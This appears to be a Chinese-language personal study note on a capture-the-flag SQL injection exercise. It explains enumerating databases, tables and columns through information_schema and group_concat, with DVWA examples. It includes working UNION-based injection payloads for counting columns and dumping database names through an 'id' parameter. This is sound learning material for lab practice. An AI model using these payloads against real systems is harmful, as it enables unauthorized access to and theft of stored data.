-
总体思路:
其实flag藏在网站的数据库某张表的某个字段中,作为一行记录存在。所以我们要做的事就是,通过sql注入,找到所有的database,找到每个database的每一张table,找到每一张table的每一个字段。
-
自己不熟悉的地方:
-
select … where xxx = ‘’ union select 1,2,3如何让1,2,3体现在界面上 ?即需不需要加 and 1=1 或者 or 1=1。
答:如果加了or 1=1,那么相当于where 1=1,即把所有数据都查了出来,就不行。可以直接用’闭合或者使用’闭合后,加一个and 1 = 1。其实可以通过试来。
-
information_schema数据库的使用,以及group_concat的理解。
答:information_schema数据库有两张关键的表,一张是tables表,另一张是columns表。
(1.1) information_schema.tables表的字段table_schema,代表着所有**数据库(database)**的名称。可以通过
select table_schema from information_schema.tables
来查看所有数据库名称,效果如图:但是会有很多重复的。我们可以通过
select table_schema from information_schema.tables group by table_schema
来查看去重后的数据库名称。效果如下:
(1.2) information_schema.tables表的字段table_name,代表着所有的数据库表(table)。可以通过
select table_name from information_schema.tables
来查看。然后,数据库表总和某个数据库相对应,所以一般是select table_name, table_schema from information_schema.tables
,如图所示:
如果想一行记录看一种数据库,以及它里面的所有表,那么可以用到group_concat,比如:
select group_concat(table_name), table_schema from information_schema.tables group by table_schema
,其效果如下:通过使用group_concat和不使用group_concat的对比,可以直观发现group_concat的作用,如下图所示:
当然,information_schema.tables还有许多其他的字段,上面两个是information_schema.tables的主要字段,通过
select * from information_schema.tables
可以查看
(2) information_schema.columns表的column_name字段可以查看所有数据库中的所有表的所有字段(column)。字段确定之前,一般要确定字段所在数据库的名称以及表的名称。所以查询的sql语句一般如下:
select column_name from information_schema.columns where table_schema="whichDatabase" and table_name ="whichTable"
如果"whichDatabase"为"information_schema"并且"whichTable"为"columns",那么效果如下:
-
-
小总结
2022.11.7 回顾
-
show databases; =
select table_schema from information_schema.tables;
select table_schema from information_schema.tables group by table_schema;
-
show tables; =
select table_name from information_schema.tables where table_schema='dvwa'
-
如何查看表结构?(得到表字段)
select column_name from information_schema.columns where table_schema="dvwa" and table_name="users";
select * from dvwa.users;
desc users;
-
查看当前使用的哪个数据库
select database();
参考链接:
2024.10.26回顾
1、最先测试有几个字段
?id=1 union select 1 -- d
?id=1 union select 1, 2 -- d
?id=1 union select 1, 2, 3 -- d
?id=1 union select 1, 2, 3, 4 -- d
......
2、然后可以这样判断输入关键单词错误没有(可以用navicat辅助):
?id=2 union select 1,2,3,4 from information_schema.tables
?id=2 union select table_schema,table_schema,table_schema,table_schema from information_schema.tables -- d
3、最后用上group_concat
进行爆库:
2 union select group_concat(table_schema), group_concat(table_schema), group_concat(table_schema), group_concat(table_schema) from information_schema.tables -- d